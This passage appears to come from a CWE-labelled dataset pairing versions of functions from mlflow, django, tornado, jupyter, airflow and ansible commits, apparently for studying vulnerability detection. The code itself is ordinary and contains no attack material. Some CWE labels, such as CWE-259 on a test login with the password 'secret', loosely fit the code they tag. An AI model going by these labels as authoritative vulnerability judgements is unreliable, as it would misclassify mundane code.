    # Traces does not require an MLflow run, only the other optional artifacts require it.
    if config.should_log_optional_artifacts():
        with _setup_autolog_run(config, self) as run_id:
            result = _invoke(self, *args, **kwargs)
        _log_optional_artifacts(config, run_id, result, self, func_name, *args, **kwargs)
    else:
        result = _invoke(self, *args, **kwargs)

    mlflow_tracer.flush_tracker()
    return result",,mlflow/mlflow,88b677e88de759e9db3eb2ac1c395631a98bd9d0,"def patched_inference(func_name, original, self, *args, **kwargs):
    """"""
    A patched implementation of langchain models inference process which enables
    logging the traces, and other optional artifacts like model, input examples, etc.

    We patch either `invoke` or `__call__` function for different models
    based on their usage.
    """"""
    import langchain

    if not MIN_REQ_VERSION <= Version(langchain.__version__) <= MAX_REQ_VERSION:
        warnings.warn(
            ""Autologging is known to be compatible with langchain versions between ""
            f""{MIN_REQ_VERSION} and {MAX_REQ_VERSION} and may not succeed with packages ""
            ""outside this range.""
        )

    # Inject MLflow tracer into the model
    # TODO: the legacy LangChain callback is removed as its functionality largely
    #  overlaps with the tracer while increasing the latency due to synchronous
    #  artifact logging. However, complex text metrics are not logged by the tracer.
    #  We should recover this functionality either in the tracer or a separate
    #  callback before merging the LangChain autologging change into the main branch.
    #  https://github.com/langchain-ai/langchain/blob/38fb1429fe5a955a863fb91b626c2c9f85efb703/libs/community/langchain_community/callbacks/mlflow_callback.py#L62-L81
    from mlflow.langchain.langchain_tracer import MlflowLangchainTracer

    config = AutoLoggingConfig.init()
    mlflow_tracer = MlflowLangchainTracer()
    args, kwargs = _inject_mlflow_callbacks(func_name, [mlflow_tracer], args, kwargs)

    # NB: Running the original inference with disabling autologging, so we only patch the top-level
    # component and avoid duplicate logging for child components.
    def _invoke(self, *args, **kwargs):
        with disable_autologging():
            return original(self, *args, **kwargs)

    # Traces does not require an MLflow run, only the other optional artifacts require it.
    if config.should_log_optional_artifacts():
        with _setup_autolog_run(config, self) as run_id:
            result = _invoke(self, *args, **kwargs)
        _log_optional_artifacts(config, run_id, result, self, func_name, *args, **kwargs)
    else:
        result = _invoke(self, *args, **kwargs)

    mlflow_tracer.flush_tracker()
    return result"
,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,1,"def test_prepopulated_fields(self):
        """"""
        The JavaScript-automated prepopulated fields work with the main form
        and with stacked and tabular inlines.
        Refs #13068, #9264, #9983, #9784.
        """"""
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        self.selenium.get(self.live_server_url + reverse('admin:admin_views_mainprepopulated_add'))
        self.wait_for('.select2')

        # Main form ----------------------------------------------------------
        self.selenium.find_element_by_id('id_pubdate').send_keys('2012-02-18')
        self.select_option('#id_status', 'option two')
        self.selenium.find_element_by_id('id_name').send_keys(' the mAin nÀMë and it\'s awεšomeıııİ')
        slug1 = self.selenium.find_element_by_id('id_slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_slug2').get_attribute('value')
        slug3 = self.selenium.find_element_by_id('id_slug3').get_attribute('value')
        self.assertEqual(slug1, 'the-main-name-and-its-awesomeiiii-2012-02-18')
        self.assertEqual(slug2, 'option-two-the-main-name-and-its-awesomeiiii')
        self.assertEqual(slug3, 'the-main-n\xe0m\xeb-and-its-aw\u03b5\u0161ome\u0131\u0131\u0131i')

        # Stacked inlines ----------------------------------------------------
        # Initial inline
        self.selenium.find_element_by_id('id_relatedprepopulated_set-0-pubdate').send_keys('2011-12-17')
        self.select_option('#id_relatedprepopulated_set-0-status', 'option one')
        self.selenium.find_element_by_id('id_relatedprepopulated_set-0-name').send_keys(
            ' here is a sŤāÇkeð   inline !  '
        )
        slug1 = self.selenium.find_element_by_id('id_relatedprepopulated_set-0-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_relatedprepopulated_set-0-slug2').get_attribute('value')
        self.assertEqual(slug1, 'here-is-a-stacked-inline-2011-12-17')
        self.assertEqual(slug2, 'option-one-here-is-a-stacked-inline')
        initial_select2_inputs = self.selenium.find_elements_by_class_name('select2-selection')
        # Inline formsets have empty/invisible forms.
        # Only the 4 visible select2 inputs are initialized.
        num_initial_select2_inputs = len(initial_select2_inputs)
        self.assertEqual(num_initial_select2_inputs, 4)

        # Add an inline
        self.selenium.find_elements_by_link_text('Add another Related prepopulated')[0].click()
        self.assertEqual(
            len(self.selenium.find_elements_by_class_name('select2-selection')),
            num_initial_select2_inputs + 2
        )
        self.selenium.find_element_by_id('id_relatedprepopulated_set-1-pubdate').send_keys('1999-01-25')
        self.select_option('#id_relatedprepopulated_set-1-status', 'option two')
        self.selenium.find_element_by_id('id_relatedprepopulated_set-1-name').send_keys(
            ' now you haVe anöther   sŤāÇkeð  inline with a very ... '
            'loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooog text... '
        )
        slug1 = self.selenium.find_element_by_id('id_relatedprepopulated_set-1-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_relatedprepopulated_set-1-slug2').get_attribute('value')
        # 50 characters maximum for slug1 field
        self.assertEqual(slug1, 'now-you-have-another-stacked-inline-with-a-very-lo')
        # 60 characters maximum for slug2 field
        self.assertEqual(slug2, 'option-two-now-you-have-another-stacked-inline-with-a-very-l')

        # Tabular inlines ----------------------------------------------------
        # Initial inline
        self.selenium.find_element_by_id('id_relatedprepopulated_set-2-0-pubdate').send_keys('1234-12-07')
        self.select_option('#id_relatedprepopulated_set-2-0-status', 'option two')
        self.selenium.find_element_by_id('id_relatedprepopulated_set-2-0-name').send_keys(
            'And now, with a tÃbűlaŘ inline !!!'
        )
        slug1 = self.selenium.find_element_by_id('id_relatedprepopulated_set-2-0-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_relatedprepopulated_set-2-0-slug2').get_attribute('value')
        self.assertEqual(slug1, 'and-now-with-a-tabular-inline-1234-12-07')
        self.assertEqual(slug2, 'option-two-and-now-with-a-tabular-inline')

        # Add an inline
        # Button may be outside the browser frame.
        element = self.selenium.find_elements_by_link_text('Add another Related prepopulated')[1]
        self.selenium.execute_script('window.scrollTo(0, %s);' % element.location['y'])
        element.click()
        self.assertEqual(
            len(self.selenium.find_elements_by_class_name('select2-selection')),
            num_initial_select2_inputs + 4
        )
        self.selenium.find_element_by_id('id_relatedprepopulated_set-2-1-pubdate').send_keys('1981-08-22')
        self.select_option('#id_relatedprepopulated_set-2-1-status', 'option one')
        self.selenium.find_element_by_id('id_relatedprepopulated_set-2-1-name').send_keys(
            r'tÃbűlaŘ inline with ignored ;""&*^\%$#@-/`~ characters'
        )
        slug1 = self.selenium.find_element_by_id('id_relatedprepopulated_set-2-1-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_relatedprepopulated_set-2-1-slug2').get_attribute('value')
        self.assertEqual(slug1, 'tabular-inline-with-ignored-characters-1981-08-22')
        self.assertEqual(slug2, 'option-one-tabular-inline-with-ignored-characters')
        # Add an inline without an initial inline.
        # The button is outside of the browser frame.
        self.selenium.execute_script(""window.scrollTo(0, document.body.scrollHeight);"")
        self.selenium.find_elements_by_link_text('Add another Related prepopulated')[2].click()
        self.assertEqual(
            len(self.selenium.find_elements_by_class_name('select2-selection')),
            num_initial_select2_inputs + 6
        )
        # Save and check that everything is properly stored in the database
        with self.wait_page_loaded():
            self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.assertEqual(MainPrepopulated.objects.all().count(), 1)
        MainPrepopulated.objects.get(
            name=' the mAin nÀMë and it\'s awεšomeıııİ',
            pubdate='2012-02-18',
            status='option two',
            slug1='the-main-name-and-its-awesomeiiii-2012-02-18',
            slug2='option-two-the-main-name-and-its-awesomeiiii',
            slug3='the-main-nàmë-and-its-awεšomeıııi',
        )
        self.assertEqual(RelatedPrepopulated.objects.all().count(), 4)
        RelatedPrepopulated.objects.get(
            name=' here is a sŤāÇkeð   inline !  ',
            pubdate='2011-12-17',
            status='option one',
            slug1='here-is-a-stacked-inline-2011-12-17',
            slug2='option-one-here-is-a-stacked-inline',
        )
        RelatedPrepopulated.objects.get(
            # 75 characters in name field
            name=' now you haVe anöther   sŤāÇkeð  inline with a very ... loooooooooooooooooo',
            pubdate='1999-01-25',
            status='option two',
            slug1='now-you-have-another-stacked-inline-with-a-very-lo',
            slug2='option-two-now-you-have-another-stacked-inline-with-a-very-l',
        )
        RelatedPrepopulated.objects.get(
            name='And now, with a tÃbűlaŘ inline !!!',
            pubdate='1234-12-07',
            status='option two',
            slug1='and-now-with-a-tabular-inline-1234-12-07',
            slug2='option-two-and-now-with-a-tabular-inline',
        )
        RelatedPrepopulated.objects.get(
            name=r'tÃbűlaŘ inline with ignored ;""&*^\%$#@-/`~ characters',
            pubdate='1981-08-22',
            status='option one',
            slug1='tabular-inline-with-ignored-characters-1981-08-22',
            slug2='option-one-tabular-inline-with-ignored-characters',
        )",CWE-259,django/django,62f1655a64795d055f72e53557fb8404c5430963,"def test_prepopulated_fields(self):
        """"""
        The JavaScript-automated prepopulated fields work with the main form
        and with stacked and tabular inlines.
        Refs #13068, #9264, #9983, #9784.
        """"""
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        self.selenium.get(self.live_server_url + reverse('admin:admin_views_mainprepopulated_add'))
        self.wait_for('.select2')

        # Main form ----------------------------------------------------------
        self.selenium.find_element_by_id('id_pubdate').send_keys('2012-02-18')
        self.select_option('#id_status', 'option two')
        self.selenium.find_element_by_id('id_name').send_keys(' this is the mAin nÀMë and it\'s awεšomeıııİ')
        slug1 = self.selenium.find_element_by_id('id_slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_slug2').get_attribute('value')
        slug3 = self.selenium.find_element_by_id('id_slug3').get_attribute('value')
        self.assertEqual(slug1, 'main-name-and-its-awesomeiiii-2012-02-18')
        self.assertEqual(slug2, 'option-two-main-name-and-its-awesomeiiii')
        self.assertEqual(slug3, 'this-is-the-main-n\xe0m\xeb-and-its-aw\u03b5\u0161ome\u0131\u0131\u0131i')

        # Stacked inlines ----------------------------------------------------
        # Initial inline
        self.selenium.find_element_by_id('id_relatedprepopulated_set-0-pubdate').send_keys('2011-12-17')
        self.select_option('#id_relatedprepopulated_set-0-status', 'option one')
        self.selenium.find_element_by_id('id_relatedprepopulated_set-0-name').send_keys(
            ' here is a sŤāÇkeð   inline !  '
        )
        slug1 = self.selenium.find_element_by_id('id_relatedprepopulated_set-0-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_relatedprepopulated_set-0-slug2').get_attribute('value')
        self.assertEqual(slug1, 'here-stacked-inline-2011-12-17')
        self.assertEqual(slug2, 'option-one-here-stacked-inline')
        initial_select2_inputs = self.selenium.find_elements_by_class_name('select2-selection')
        # Inline formsets have empty/invisible forms.
        # Only the 4 visible select2 inputs are initialized.
        num_initial_select2_inputs = len(initial_select2_inputs)
        self.assertEqual(num_initial_select2_inputs, 4)

        # Add an inline
        self.selenium.find_elements_by_link_text('Add another Related prepopulated')[0].click()
        self.assertEqual(
            len(self.selenium.find_elements_by_class_name('select2-selection')),
            num_initial_select2_inputs + 2
        )
        self.selenium.find_element_by_id('id_relatedprepopulated_set-1-pubdate').send_keys('1999-01-25')
        self.select_option('#id_relatedprepopulated_set-1-status', 'option two')
        self.selenium.find_element_by_id('id_relatedprepopulated_set-1-name').send_keys(
            ' now you haVe anöther   sŤāÇkeð  inline with a very ... '
            'loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooog text... '
        )
        slug1 = self.selenium.find_element_by_id('id_relatedprepopulated_set-1-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_relatedprepopulated_set-1-slug2').get_attribute('value')
        # 50 characters maximum for slug1 field
        self.assertEqual(slug1, 'now-you-have-another-stacked-inline-very-loooooooo')
        # 60 characters maximum for slug2 field
        self.assertEqual(slug2, 'option-two-now-you-have-another-stacked-inline-very-looooooo')

        # Tabular inlines ----------------------------------------------------
        # Initial inline
        self.selenium.find_element_by_id('id_relatedprepopulated_set-2-0-pubdate').send_keys('1234-12-07')
        self.select_option('#id_relatedprepopulated_set-2-0-status', 'option two')
        self.selenium.find_element_by_id('id_relatedprepopulated_set-2-0-name').send_keys(
            'And now, with a tÃbűlaŘ inline !!!'
        )
        slug1 = self.selenium.find_element_by_id('id_relatedprepopulated_set-2-0-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_relatedprepopulated_set-2-0-slug2').get_attribute('value')
        self.assertEqual(slug1, 'and-now-tabular-inline-1234-12-07')
        self.assertEqual(slug2, 'option-two-and-now-tabular-inline')

        # Add an inline
        # Button may be outside the browser frame.
        element = self.selenium.find_elements_by_link_text('Add another Related prepopulated')[1]
        self.selenium.execute_script('window.scrollTo(0, %s);' % element.location['y'])
        element.click()
        self.assertEqual(
            len(self.selenium.find_elements_by_class_name('select2-selection')),
            num_initial_select2_inputs + 4
        )
        self.selenium.find_element_by_id('id_relatedprepopulated_set-2-1-pubdate').send_keys('1981-08-22')
        self.select_option('#id_relatedprepopulated_set-2-1-status', 'option one')
        self.selenium.find_element_by_id('id_relatedprepopulated_set-2-1-name').send_keys(
            r'a tÃbűlaŘ inline with ignored ;""&*^\%$#@-/`~ characters'
        )
        slug1 = self.selenium.find_element_by_id('id_relatedprepopulated_set-2-1-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_id('id_relatedprepopulated_set-2-1-slug2').get_attribute('value')
        self.assertEqual(slug1, 'tabular-inline-ignored-characters-1981-08-22')
        self.assertEqual(slug2, 'option-one-tabular-inline-ignored-characters')
        # Add an inline without an initial inline.
        # The button is outside of the browser frame.
        self.selenium.execute_script(""window.scrollTo(0, document.body.scrollHeight);"")
        self.selenium.find_elements_by_link_text('Add another Related prepopulated')[2].click()
        self.assertEqual(
            len(self.selenium.find_elements_by_class_name('select2-selection')),
            num_initial_select2_inputs + 6
        )
        # Save and check that everything is properly stored in the database
        with self.wait_page_loaded():
            self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.assertEqual(MainPrepopulated.objects.all().count(), 1)
        MainPrepopulated.objects.get(
            name=' this is the mAin nÀMë and it\'s awεšomeıııİ',
            pubdate='2012-02-18',
            status='option two',
            slug1='main-name-and-its-awesomeiiii-2012-02-18',
            slug2='option-two-main-name-and-its-awesomeiiii',
            slug3='this-is-the-main-nàmë-and-its-awεšomeıııi',
        )
        self.assertEqual(RelatedPrepopulated.objects.all().count(), 4)
        RelatedPrepopulated.objects.get(
            name=' here is a sŤāÇkeð   inline !  ',
            pubdate='2011-12-17',
            status='option one',
            slug1='here-stacked-inline-2011-12-17',
            slug2='option-one-here-stacked-inline',
        )
        RelatedPrepopulated.objects.get(
            # 75 characters in name field
            name=' now you haVe anöther   sŤāÇkeð  inline with a very ... loooooooooooooooooo',
            pubdate='1999-01-25',
            status='option two',
            slug1='now-you-have-another-stacked-inline-very-loooooooo',
            slug2='option-two-now-you-have-another-stacked-inline-very-looooooo',
        )
        RelatedPrepopulated.objects.get(
            name='And now, with a tÃbűlaŘ inline !!!',
            pubdate='1234-12-07',
            status='option two',
            slug1='and-now-tabular-inline-1234-12-07',
            slug2='option-two-and-now-tabular-inline',
        )
        RelatedPrepopulated.objects.get(
            name=r'a tÃbűlaŘ inline with ignored ;""&*^\%$#@-/`~ characters',
            pubdate='1981-08-22',
            status='option one',
            slug1='tabular-inline-ignored-characters-1981-08-22',
            slug2='option-one-tabular-inline-ignored-characters',
        )"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/websocket_test.py,0,"def test_websocket_network_timeout(self):
        sock, port = bind_unused_port()
        sock.close()
        with self.assertRaises(IOError) as cm:
            with ExpectLog(gen_log, "".*""):
                yield websocket_connect(
                    'ws://localhost:%d/' % port,
                    io_loop=self.io_loop,
                    connect_timeout=0.01)",CWE-Unknown,tornadoweb/tornado,33a84e01744740bc64f4098565d5fb58725540cb,"def test_websocket_network_timeout(self):
        sock, port = bind_unused_port()
        sock.close()
        with self.assertRaises(HTTPError) as cm:
            with ExpectLog(gen_log, "".*""):
                yield websocket_connect(
                    'ws://localhost:%d/' % port,
                    io_loop=self.io_loop,
                    connect_timeout=0.01)
        self.assertEqual(cm.exception.code, 599)"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/nbextensions.py,0,"def install_nbextension_python(module, overwrite=False, symlink=False,
                        user=False, sys_prefix=False, prefix=None, nbextensions_dir=None, logger=None):
    """"""Install an nbextension bundled in a Python package.

    Returns a list of installed/updated directories.

    See install_nbextension for parameter information.""""""
    m, nbexts = _get_nbextension_metadata(module)
    base_path = os.path.split(m.__file__)[0]

    full_dests = []

    for nbext in nbexts:
        src = os.path.join(base_path, nbext['src'])
        dest = nbext['dest']

        if logger:
            logger.info(""Installing %s -> %s"" % (src, dest))
        full_dest = install_nbextension(
            src, overwrite=overwrite, symlink=symlink,
            user=user, sys_prefix=sys_prefix, prefix=prefix, nbextensions_dir=nbextensions_dir,
            destination=dest, logger=logger
            )
        validate_nbextension_python(nbext, full_dest, logger)
        full_dests.append(full_dest)

    return full_dests",,jupyter/notebook,6d3731c9b8f6aba4288cbbb156302896e5ebe74b,"def install_nbextension_python(module, overwrite=False, symlink=False,
                        user=False, sys_prefix=False, prefix=None, nbextensions_dir=None, logger=None):
    """"""Install an nbextension bundled in a Python package.

    Returns a list of installed/updated directories.

    See install_nbextension for parameter information.""""""
    m, nbexts = _get_nbextension_metadata(module)
    base_path = os.path.split(m.__file__)[0]

    full_dests = []

    for nbext in nbexts:
        src = os.path.join(base_path, nbext['src'])
        dest = nbext['dest']

        if logger:
            logger.info(""Installing %s -> %s"" % (src, dest))
        full_dest = install_nbextension(
            src, overwrite=overwrite, symlink=symlink,
            user=user, sys_prefix=sys_prefix, prefix=prefix, nbextensions_dir=nbextensions_dir,
            destination=dest, logger=logger
            )
        validate_nbextension_python(nbext, full_dest, logger)
        full_dests.append(full_dest)

    return full_dests"
,UNKNOWN,UNKNOWN,tests/providers/databricks/operators/test_databricks.py,1,"def test_execute_task_deferred(self, db_mock_class):
        """"""
        Test the execute function in case where the run is successful.
        """"""
        run = {
            ""new_cluster"": NEW_CLUSTER,
            ""notebook_task"": NOTEBOOK_TASK,
        }
        op = DatabricksSubmitRunDeferrableOperator(task_id=TASK_ID, json=run)
        db_mock = db_mock_class.return_value
        db_mock.submit_run.return_value = 1
        db_mock.get_run = make_run_with_state_mock(""RUNNING"", ""RUNNING"")

        with pytest.raises(TaskDeferred) as exc:
            op.execute(None)
        assert isinstance(exc.value.trigger, DatabricksExecutionTrigger)
        assert exc.value.method_name == ""execute_complete""

        expected = utils.normalise_json_content(
            {""new_cluster"": NEW_CLUSTER, ""notebook_task"": NOTEBOOK_TASK, ""run_name"": TASK_ID}
        )
        db_mock_class.assert_called_once_with(
            DEFAULT_CONN_ID,
            retry_limit=op.databricks_retry_limit,
            retry_delay=op.databricks_retry_delay,
            retry_args=None,
            caller=""DatabricksSubmitRunDeferrableOperator"",
        )

        db_mock.submit_run.assert_called_once_with(expected)
        db_mock.get_run_page_url.assert_called_once_with(RUN_ID)
        assert op.run_id == RUN_ID",CWE-703,apache/airflow,347373986c378a3c7fd4cf85336d0c419a51991e,"def test_execute_task_deferred(self, db_mock_class):
        """"""
        Test the execute function in case where the run is successful.
        """"""
        run = {
            ""new_cluster"": NEW_CLUSTER,
            ""notebook_task"": NOTEBOOK_TASK,
        }
        op = DatabricksSubmitRunDeferrableOperator(task_id=TASK_ID, json=run)
        db_mock = db_mock_class.return_value
        db_mock.submit_run.return_value = 1
        db_mock.get_run = make_run_with_state_mock(""TERMINATED"", ""SUCCESS"")

        with pytest.raises(TaskDeferred) as exc:
            op.execute(None)
        assert isinstance(exc.value.trigger, DatabricksExecutionTrigger)
        assert exc.value.method_name == ""execute_complete""

        expected = utils.normalise_json_content(
            {""new_cluster"": NEW_CLUSTER, ""notebook_task"": NOTEBOOK_TASK, ""run_name"": TASK_ID}
        )
        db_mock_class.assert_called_once_with(
            DEFAULT_CONN_ID,
            retry_limit=op.databricks_retry_limit,
            retry_delay=op.databricks_retry_delay,
            retry_args=None,
            caller=""DatabricksSubmitRunDeferrableOperator"",
        )

        db_mock.submit_run.assert_called_once_with(expected)
        db_mock.get_run_page_url.assert_called_once_with(RUN_ID)
        assert op.run_id == RUN_ID"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tracking/fluent.py,0,"def get_run(run_id: str) -> Run:
    """"""
    Fetch the run from backend store. The resulting :py:class:`Run <mlflow.entities.Run>`
    contains a collection of run metadata -- :py:class:`RunInfo <mlflow.entities.RunInfo>`,
    as well as a collection of run parameters, tags, and metrics --
    :py:class:`RunData <mlflow.entities.RunData>`. In the case where multiple metrics with the
    same key are logged for the run, the :py:class:`RunData <mlflow.entities.RunData>` contains
    the most recently logged value at the largest step for each metric.

    :param run_id: Unique identifier for the run.

    :return: A single :py:class:`mlflow.entities.Run` object, if the run exists. Otherwise,
                raises an exception.

    .. test-code-block:: python
        :caption: Example

        import mlflow

        with mlflow.start_run() as run:
            mlflow.log_param(""p"", 0)

        run_id = run.info.run_id
        print(
            ""run_id: {}; lifecycle_stage: {}"".format(
                run_id, mlflow.get_run(run_id).info.lifecycle_stage
            )
        )

    .. code-block:: text
        :caption: Output

        run_id: 7472befefc754e388e8e922824a0cca5; lifecycle_stage: active
    """"""
    return MlflowClient().get_run(run_id)",,mlflow/mlflow,9ec828d822343b33277b1dcb33fa51cada498453,"def get_run(run_id: str) -> Run:
    """"""
    Fetch the run from backend store. The resulting :py:class:`Run <mlflow.entities.Run>`
    contains a collection of run metadata -- :py:class:`RunInfo <mlflow.entities.RunInfo>`,
    as well as a collection of run parameters, tags, and metrics --
    :py:class:`RunData <mlflow.entities.RunData>`. In the case where multiple metrics with the
    same key are logged for the run, the :py:class:`RunData <mlflow.entities.RunData>` contains
    the most recently logged value at the largest step for each metric.

    :param run_id: Unique identifier for the run.

    :return: A single :py:class:`mlflow.entities.Run` object, if the run exists. Otherwise,
                raises an exception.

    .. test-code-block:: python
        :caption: Example

        import mlflow

        with mlflow.start_run() as run:
            mlflow.log_param(""p"", 0)

        run_id = run.info.run_id
        print(
            ""run_id: {}; lifecycle_stage: {}"".format(
                run_id, mlflow.get_run(run_id).info.lifecycle_stage
            )
        )

    .. code-block:: text
        :caption: Output

        run_id: 7472befefc754e388e8e922824a0cca5; lifecycle_stage: active
    """"""
    return MlflowClient().get_run(run_id)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/extras/cloud/amazon/ec2_asg_facts.py,0,"def find_asgs(conn, module, name=None, tags=None):
    """"""
    Args:
        conn (boto3.AutoScaling.Client): Valid Boto3 ASG client.
        name (str): Optional name of the ASG you are looking for.
        tags (dict): Optional dictionary of tags and values to search for.

    Basic Usage:
        >>> name = 'public-webapp-production'
        >>> tags = { 'env': 'production' }
        >>> conn = boto3.client('autoscaling', region_name='us-west-2')
        >>> results = find_asgs(name, conn)

    Returns:
        List
        [
            {
                ""auto_scaling_group_arn"": ""arn:aws:autoscaling:us-west-2:275977225706:autoScalingGroup:58abc686-9783-4528-b338-3ad6f1cbbbaf:autoScalingGroupName/public-webapp-production"",
                ""auto_scaling_group_name"": ""public-webapp-production"",
                ""availability_zones"": [""us-west-2c"", ""us-west-2b"", ""us-west-2a""],
                ""created_time"": ""2016-02-02T23:28:42.481000+00:00"",
                ""default_cooldown"": 300,
                ""desired_capacity"": 2,
                ""enabled_metrics"": [],
                ""health_check_grace_period"": 300,
                ""health_check_type"": ""ELB"",
                ""instances"":
                [
                    {
                        ""availability_zone"": ""us-west-2c"",
                        ""health_status"": ""Healthy"",
                        ""instance_id"": ""i-047a12cb"",
                        ""launch_configuration_name"": ""public-webapp-production-1"",
                        ""lifecycle_state"": ""InService"",
                        ""protected_from_scale_in"": false
                    },
                    {
                        ""availability_zone"": ""us-west-2a"",
                        ""health_status"": ""Healthy"",
                        ""instance_id"": ""i-7a29df2c"",
                        ""launch_configuration_name"": ""public-webapp-production-1"",
                        ""lifecycle_state"": ""InService"",
                        ""protected_from_scale_in"": false
                    }
                ],
                ""launch_configuration_name"": ""public-webapp-production-1"",
                ""load_balancer_names"": [""public-webapp-production-lb""],
                ""max_size"": 4,
                ""min_size"": 2,
                ""new_instances_protected_from_scale_in"": false,
                ""placement_group"": None,
                ""status"": None,
                ""suspended_processes"": [],
                ""tags"":
                [
                    {
                        ""key"": ""Name"",
                        ""propagate_at_launch"": true,
                        ""resource_id"": ""public-webapp-production"",
                        ""resource_type"": ""auto-scaling-group"",
                        ""value"": ""public-webapp-production""
                    },
                    {
                        ""key"": ""env"",
                        ""propagate_at_launch"": true,
                        ""resource_id"": ""public-webapp-production"",
                        ""resource_type"": ""auto-scaling-group"",
                        ""value"": ""production""
                    }
                ],
                ""termination_policies"":
                [
                    ""Default""
                ],
                ""vpc_zone_identifier"":
                [
                    ""subnet-a1b1c1d1"",
                    ""subnet-a2b2c2d2"",
                    ""subnet-a3b3c3d3""
                ]
            }
        ]
    """"""

    try:
        asgs = conn.describe_auto_scaling_groups()
    except ClientError as e:
        module.fail_json(msg=e.message, **camel_dict_to_snake_dict(e.response))

    matched_asgs = []

    if name is not None:
        # if the user didn't specify a name
        name_prog = re.compile(r'^' + name)

    for asg in asgs['AutoScalingGroups']:
        if name:
            matched_name = name_prog.search(asg['AutoScalingGroupName'])
        else:
            matched_name = True

        if tags:
            matched_tags = match_asg_tags(tags, asg)
        else:
            matched_tags = True

        if matched_name and matched_tags:
            matched_asgs.append(camel_dict_to_snake_dict(asg))

    return matched_asgs",,ansible/ansible,bdec3a7cbb933da250936529098893ad63d22545,"def find_asgs(conn, module, name=None, tags=None):
    """"""
    Args:
        conn (boto3.AutoScaling.Client): Valid Boto3 ASG client.
        name (str): Optional name of the ASG you are looking for.
        tags (dict): Optional dictionary of tags and values to search for.

    Basic Usage:
        >>> name = 'public-webapp-production'
        >>> tags = { 'env': 'production' }
        >>> conn = boto3.client('autoscaling', region_name='us-west-2')
        >>> results = find_asgs(name, conn)

    Returns:
        List
        [
            {
                ""auto_scaling_group_arn"": ""arn:aws:autoscaling:us-west-2:275977225706:autoScalingGroup:58abc686-9783-4528-b338-3ad6f1cbbbaf:autoScalingGroupName/public-webapp-production"",
                ""auto_scaling_group_name"": ""public-webapp-production"",
                ""availability_zones"": [""us-west-2c"", ""us-west-2b"", ""us-west-2a""],
                ""created_time"": ""2016-02-02T23:28:42.481000+00:00"",
                ""default_cooldown"": 300,
                ""desired_capacity"": 2,
                ""enabled_metrics"": [],
                ""health_check_grace_period"": 300,
                ""health_check_type"": ""ELB"",
                ""instances"":
                [
                    {
                        ""availability_zone"": ""us-west-2c"",
                        ""health_status"": ""Healthy"",
                        ""instance_id"": ""i-047a12cb"",
                        ""launch_configuration_name"": ""public-webapp-production-1"",
                        ""lifecycle_state"": ""InService"",
                        ""protected_from_scale_in"": false
                    },
                    {
                        ""availability_zone"": ""us-west-2a"",
                        ""health_status"": ""Healthy"",
                        ""instance_id"": ""i-7a29df2c"",
                        ""launch_configuration_name"": ""public-webapp-production-1"",
                        ""lifecycle_state"": ""InService"",
                        ""protected_from_scale_in"": false
                    }
                ],
                ""launch_configuration_name"": ""public-webapp-production-1"",
                ""load_balancer_names"": [""public-webapp-production-lb""],
                ""max_size"": 4,
                ""min_size"": 2,
                ""new_instances_protected_from_scale_in"": false,
                ""placement_group"": None,
                ""status"": None,
                ""suspended_processes"": [],
                ""tags"":
                [
                    {
                        ""key"": ""Name"",
                        ""propagate_at_launch"": true,
                        ""resource_id"": ""public-webapp-production"",
                        ""resource_type"": ""auto-scaling-group"",
                        ""value"": ""public-webapp-production""
                    },
                    {
                        ""key"": ""env"",
                        ""propagate_at_launch"": true,
                        ""resource_id"": ""public-webapp-production"",
                        ""resource_type"": ""auto-scaling-group"",
                        ""value"": ""production""
                    }
                ],
                ""termination_policies"":
                [
                    ""Default""
                ],
                ""vpc_zone_identifier"":
                [
                    ""subnet-a1b1c1d1"",
                    ""subnet-a2b2c2d2"",
                    ""subnet-a3b3c3d3""
                ]
            }
        ]
    """"""

    try:
        asgs = conn.describe_auto_scaling_groups()
    except ClientError as e:
        module.fail_json(msg=e.message, **camel_dict_to_snake_dict(e.response))

    matched_asgs = []
    name_prog = re.compile(r'^' + name)
    for asg in asgs['AutoScalingGroups']:
        if name:
            matched_name = name_prog.search(asg['AutoScalingGroupName'])
        else:
            matched_name = True

        if tags:
            matched_tags = match_asg_tags(tags, asg)
        else:
            matched_tags = True

        if matched_name and matched_tags:
            matched_asgs.append(camel_dict_to_snake_dict(asg))

    return matched_asgs"
,UNKNOWN,UNKNOWN,tests/metrics/test_metric_definitions.py,1,"def test_ndcg_at_k():
    # normal cases
    data = pd.DataFrame(
        [
            {""target"": [], ""prediction"": [], ""k"": [3], ""ndcg"": 1},  # no error is made
            {""target"": [], ""prediction"": [""1"", ""2""], ""k"": [3], ""ndcg"": 0},
            {""target"": [""1""], ""prediction"": [], ""k"": [3], ""ndcg"": 0},
            {""target"": [""1""], ""prediction"": [""1""], ""k"": [3], ""ndcg"": 1},
            {""target"": [""1""], ""prediction"": [""2""], ""k"": [3], ""ndcg"": 0},
        ]
    )
    predictions = data[""prediction""]
    targets = data[""target""]
    result = ndcg_at_k(3).eval_fn(predictions, targets)

    assert result.scores == data[""ndcg""].to_list()
    assert pytest.approx(result.aggregate_results[""mean""]) == 0.4
    assert pytest.approx(result.aggregate_results[""p90""]) == 1.0
    assert pytest.approx(result.aggregate_results[""variance""]) == 0.24

    # test different k values
    predictions = pd.Series([[""1"", ""2""]])
    targets = pd.Series([[""1""]])
    ndcg = [1, 1, 1]
    for i in range(3):
        k = i + 1
        result = ndcg_at_k(k).eval_fn(predictions, targets)
